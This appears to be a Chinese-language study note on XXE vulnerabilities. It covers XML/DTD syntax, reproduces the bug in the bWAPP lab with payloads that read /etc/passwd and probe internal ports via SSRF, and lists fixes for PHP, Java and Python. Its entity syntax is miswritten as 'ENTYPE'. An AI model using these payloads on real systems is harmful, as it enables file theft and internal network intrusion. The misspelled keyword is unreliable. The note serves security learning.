XXE漏洞学习

论笔记总是写到一半就没下文了。。。N 久前的 xxe

XML定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

常见 XML 语法结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" ?>            # XML 声明

<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)> # 文档类型定义(DTD)
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>AAA</to> # 文档元素
<from>BBB</from>
<heading>CCC</heading>
<body>how are you</body>
</note>

DTD (文档类型定义)可以在 XML 文档内声明,也可以外部引用。

  • 内部声明DTD格式:<!DOCTYPE 根元素 [ 元素声明 ]>
  • 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “ 文件名 “>
    在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。
  • 内部声明实体格式:<!ENTYPE 实体名称 “ 实体的值 “>
  • 引用外部实体格式:<!ENTYPE 实体名称 SYSTEM “ URI “>

外部实体引用不同环境下支持的协议

PHP 支持的协议
1
2
3
4
5
6
7
8
9
10
11
12
file://      访问本地文件系统
http:// 访问HTTP(S)网址
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
ftp:// 访问FTP(S)URLs
data:// 数据
glob:// 查找匹配的文件路径格式
phar:// PHP归档
ssh2:// Secure shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流

图片.png

XXE 漏洞危害

读取文件

使用 BWAPP XXE 初级进行漏洞复现

  1. 打开XXE漏洞界面,点击any bugs 抓包
    图片.png
    图片.png
  2. 编写并发送读取本地文件的 xml 代码
  • 读取系统密码 payload
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>

    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

图片.png

内网探测 SSRF
  • 端口探测 payload
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "http://169.254.9.4:80">
    ]>

    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

端口存在则返回连接状态信息
图片.png
端口不存在则返回如下
图片.png

XXE 漏洞修复

  • 禁止使用外部实体,例如
    PHP
    libxml_disable_entity_loader(true)
    JAVA
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
    Python
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤用户提交的XML数据,防止出现非法内容

参考链接:
http://www.4o4notfound.org/index.php/archives/29/
https://www.hackersb.cn/hacker/211.html
https://www.cnblogs.com/ESHLkangi/p/9246327.html